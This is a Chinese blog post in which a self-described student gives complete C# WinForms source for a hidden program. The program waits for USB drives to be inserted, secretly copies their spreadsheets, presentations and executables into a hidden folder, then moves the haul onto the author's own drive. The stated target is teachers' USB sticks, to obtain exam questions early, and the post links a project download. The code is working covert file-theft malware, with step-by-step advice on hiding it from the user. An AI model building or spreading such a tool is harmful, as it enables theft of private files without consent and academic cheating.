C#制作简易U盘文件盗取程序

因为我还是一名尚未完成义务教育阶段的学生,最近因为学校老是因为所谓的“版权原因”不让我们提前预览未来将要考的题目,(PS:实际上是不想让我们做的比老师快以免问到他们打不出个所以然来。)于是我自己通过浏览C#元数据和网上资料成功做出能在U盘插入时自动复制U盘内所有特定后缀名(例如PPT、XLS)的文档并保存到电脑的一个新建隐藏文件夹中。当自己的U盘插入时,电脑将自动将隐藏文件夹内所有的文件度知道U盘内并删除该隐藏文件夹。这就是这个程序的大概思路。

好废话不多说,下面开始介绍制作程序。

新建winform,为了使程序便显得足够隐蔽,我把form1的size改为0,0;showInTaskBar改为false;FormBorderStyle改为None;WindowState改为Minimized。

接下来,便是代码部分

首先是一大堆的定义部分

        public const int WM_DEVICECHANGE = 0x219;
        public const int DBT_DEVICEARRIVAL = 0x8000;
        public const int DBT_CONFIGCHANGECANCELED = 0x0019;
        public const int DBT_CONFIGCHANGED = 0x0018;
        public const int DBT_CUSTOMEVENT = 0x8006;
        public const int DBT_DEVICEQUERYREMOVE = 0x8001;
        public const int DBT_DEVICEQUERYREMOVEFAILED = 0x8002;
        public const int DBT_DEVICEREMOVECOMPLETE = 0x8004;
        public const int DBT_DEVICEREMOVEPENDING = 0x8003;
        public const int DBT_DEVICETYPESPECIFIC = 0x8005;
        public const int DBT_DEVNODES_CHANGED = 0x0007;
        public const int DBT_QUERYCHANGECONFIG = 0x0017;
        public const int DBT_USERDEFINED = 0xFFFF;
        private string path1;//首选保存位置
        private string path2;//备用保存位置

然后是初始化过程

private void Form1_Load(object sender, EventArgs e)
        {
            //notifyIcon1.Visible = false;
            //去掉标记以实现完全隐身状态(此状态只能从任务管理器处关闭程序)
            TransparencyKey = Color.White;
            Opacity = 0;
            checkDirectory("D:/Music", "E:/Music");
        }
private void checkDirectory(string patha,string pathb)
        {
            //设置两个路径或更多以保证适合不同的计算机,我教室的电脑就没有D盘
            if (Directory.Exists(patha) == false)
            {
                try
                {
                    Directory.CreateDirectory(patha);
                    path1 = patha;
                }
                catch
                {
                    Directory.CreateDirectory(pathb);
                    path1 = pathb;
                }
            }
            else
            {
                path1 = patha;
            }
            //隐藏文件夹
            File.SetAttributes(path1, FileAttributes.Hidden);
        }



接着是获取硬盘信息部分,这无需设置定时器反复检索,每当插入U盘时便会自动执行有关代码

//获取硬盘事件
        protected override void WndProc(ref Message m)
        {
            try
            {
                if (m.Msg == WM_DEVICECHANGE)//获取消息的 ID 号。
                {
                    switch (m.WParam.ToInt32())//获取消息的 System.Windows.Forms.Message.WParam 字段。
                    {
                        case WM_DEVICECHANGE:
                            break;
                        case DBT_DEVICEARRIVAL://U盘插入
                            DriveInfo[] s = DriveInfo.GetDrives();
                            foreach (DriveInfo drive in s)
                            {
                                if (drive.DriveType == DriveType.Removable)
                                {
                                    DriveInfo info = new DriveInfo(drive.Name.ToString());
                                    if(info.VolumeLabel.Equals("SANDISK"))
                                    {
                                        /*
                                         * 名字叫SANDISK的U盘一旦插入将自动剪切path1内的所有文件到U盘内
                                        而不会将此U盘内的文件复制到path1内
                                        */
                                        path2 = drive.Name.ToString()+"/Music";
                                        Directory.CreateDirectory(drive.Name.ToString() + "/Music");
                                        getDirectory(path1, true);
                                        DirectoryInfo root = new DirectoryInfo(path1);
                                        checkDirectory("D:/Music", "E:/Music");
                                        //删除文件夹及文件夹内所有文件

PS:C#不支持删除非空文件夹,所以要先删掉文件夹内所有文件才能删除文件夹哦

                                        foreach (FileInfo f in root.GetFiles())
                                        {
                                            File.Delete(f.FullName);
                                        }
                                        Directory.Delete(path1);
                                        break;
                                    }
                                    else
                                    {
                                        //其它U盘一旦插入电脑则将自动复制copyFiles类中已定义后缀名的U盘文件到path1中
                                        getDirectory(drive.Name.ToString(), false);
                                    }
                                    break;
                                }
                            }
                            break;
                        case DBT_CONFIGCHANGECANCELED:
                            break;
                        case DBT_CONFIGCHANGED:
                            break;
                        case DBT_CUSTOMEVENT:
                            break;
                        case DBT_DEVICEQUERYREMOVE:
                            break;
                        case DBT_DEVICEQUERYREMOVEFAILED:
                            break;
                        case DBT_DEVICEREMOVECOMPLETE:   //U盘卸载 
                            break;
                        case DBT_DEVICEREMOVEPENDING:
                            break;
                        case DBT_DEVICETYPESPECIFIC:
                            break;
                        case DBT_DEVNODES_CHANGED:
                            break;
                        case DBT_QUERYCHANGECONFIG:
                            break;
                        case DBT_USERDEFINED:
                            break;
                        default:
                            break;
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
            base.WndProc(ref m);
        }

最后就是最主要的核心部分啦

//获取FilePath下所有的文件(老师的U盘(*^▽^*),电脑硬盘上的保存目录)
        public void getFileName(string FilePath, bool isMYUSB)
        {
            DirectoryInfo root = new DirectoryInfo(FilePath);
            checkDirectory("D:/Music", "E:/Music");
            foreach (FileInfo f in root.GetFiles())
            {
                if (isMYUSB == false)
                {
                    copyFiles(f, path1);
                }
                else if (isMYUSB == true)
                {
                    copyFiles(f, path2);
                }
            }
        }
        //复制文件到TargetPath
        private void copyFiles(FileInfo f,string TargetPath)
        {//自定义被复制文件后缀名
            if (f.Extension.Equals(".xls") || f.Extension.Equals(".XLS"))
            {
                File.Copy(f.FullName, TargetPath + "/" + f.Name, true);
            }
            if (f.Extension.Equals(".exe") || f.Extension.Equals(".EXE"))
            {
                File.Copy(f.FullName, TargetPath + "/" + f.Name, true);
            }
            if (f.Extension.Equals(".pptx") || f.Extension.Equals(".PPTX"))
            {
                File.Copy(f.FullName, TargetPath + "/" + f.Name, true);
            }
            if (f.Extension.Equals(".ppt") || f.Extension.Equals(".PPT"))
            {
                File.Copy(f.FullName, TargetPath + "/" + f.Name, true);
            }
        }
        //获得DirectoryPath下所有文件夹名
        public void getDirectory(string DirectoryPath, bool isMYUSB)
        {//搜索U盘下所有子目录
            getFileName(DirectoryPath, isMYUSB);
            DirectoryInfo root = new DirectoryInfo(DirectoryPath);
            foreach (DirectoryInfo d in root.GetDirectories())
            {
                getFileName(d.FullName,isMYUSB);
            }
        }

好啦,上面的代码已经能运行了,但是有个弊端就是只能通过任务管理器来结束程序。

于是有良心的我添加了以下的代码以便退出程序

先在form1加入contextmenustrip还有notifyIcon作为系统托盘。如箭头所示,设置ContextMenuStrip.

接着就像设置下拉菜单那样添加“退出”按钮及退出代码

private void toolStripMenuItem1_Click(object sender, EventArgs e)
        {
            Close();
        }

PS:设置下拉菜单按钮点击事件需要先将Form1的FormBorderStyle改为FixedSingle或其他,再点击红色箭头对着的contextMenuStrip,添加项,然后再双击项设置点击事件。

然后就大功告成了!上有政策,下有对策。看老师能拿我怎么地(*^▽^*)

具体项目在https://download.youkuaiyun.com/download/codevegetably/10409269

谢谢观看我的博客哦!This is my first blog in 优快云.

如有任何不足,欢迎提出哦,我将会虚心接纳各大神的意见!


评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值